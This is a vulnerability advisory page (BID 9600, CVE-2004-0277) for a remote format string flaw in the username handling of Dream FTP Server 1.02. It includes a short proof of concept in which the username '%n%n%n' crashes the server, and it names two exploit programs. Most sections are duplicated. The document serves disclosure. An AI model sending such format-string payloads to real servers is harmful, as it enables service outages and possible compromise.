BolinTech Dream FTP Server User Name Format String Vulnerability
BID:9600
Info
BolinTech Dream FTP Server User Name Format String Vulnerability
| Bugtraq ID: | 9600 |
| Class: | Input Validation Error |
| CVE: |
CVE-2004-0277 |
| Remote: | Yes |
| Local: | No |
| Published: | Feb 07 2004 12:00AM |
| Updated: | Jul 12 2009 02:06AM |
| Credit: | The disclosure of this issue has been credited to badpack3t <[email protected]>. |
| Vulnerable: |
BolinTech Dream FTP Server 1.0 2 |
| Not Vulnerable: | |
Discussion
BolinTech Dream FTP Server User Name Format String Vulnerability
It has been reported that Dream FTP Server may be prone to a remote format string vulnerability when processing a malicious request from a client for a username during FTP authentication. The issue could crash the server.
Dream FTP Server version 1.02 has been reported to be prone to this issue, however, it is possible that other versions may be affected by this issue as well.
It has been reported that Dream FTP Server may be prone to a remote format string vulnerability when processing a malicious request from a client for a username during FTP authentication. The issue could crash the server.
Dream FTP Server version 1.02 has been reported to be prone to this issue, however, it is possible that other versions may be affected by this issue as well.
Exploit / POC
BolinTech Dream FTP Server User Name Format String Vulnerability
The following proof of concept example has been provided:
C:>ftp 127.0.0.1
Connected to 127.0.0.1.
220- ****************************************
220-
220- Welcome to Dream FTP Server
220- Copyright 2002 - 2004
220- BolinTech Inc.
220-
220- ****************************************
220-
220
User (127.0.0.1:(none)): %n%n%n
Connection closed by remote host.
**Application Crashes**
The following exploit (dreamFTPNightmare.c), tested on Windows 2000, has been made available by "Berend-Jan Wever" <[email protected]>.
The following exploit (dreamftp-DoS.c), has been made available by shaun2k2 <[email protected]>.
The following proof of concept example has been provided:
C:>ftp 127.0.0.1
Connected to 127.0.0.1.
220- ****************************************
220-
220- Welcome to Dream FTP Server
220- Copyright 2002 - 2004
220- BolinTech Inc.
220-
220- ****************************************
220-
220
User (127.0.0.1:(none)): %n%n%n
Connection closed by remote host.
**Application Crashes**
The following exploit (dreamFTPNightmare.c), tested on Windows 2000, has been made available by "Berend-Jan Wever" <[email protected]>.
The following exploit (dreamftp-DoS.c), has been made available by shaun2k2 <[email protected]>.
Solution / Fix
BolinTech Dream FTP Server User Name Format String Vulnerability
Solution:
Currently we are not aware of any vendor-supplied patches for this issue. If you feel we are in error or are aware of more recent information, please mail us at: [email protected] <mailto:[email protected]>.
Solution:
Currently we are not aware of any vendor-supplied patches for this issue. If you feel we are in error or are aware of more recent information, please mail us at: [email protected] <mailto:[email protected]>.
References
BolinTech Dream FTP Server User Name Format String Vulnerability
References:
References:
- Dream FTP Server Homepage (BolinTech)
- DreamFTP Server 1.02 Format String (Security-Protocols.com)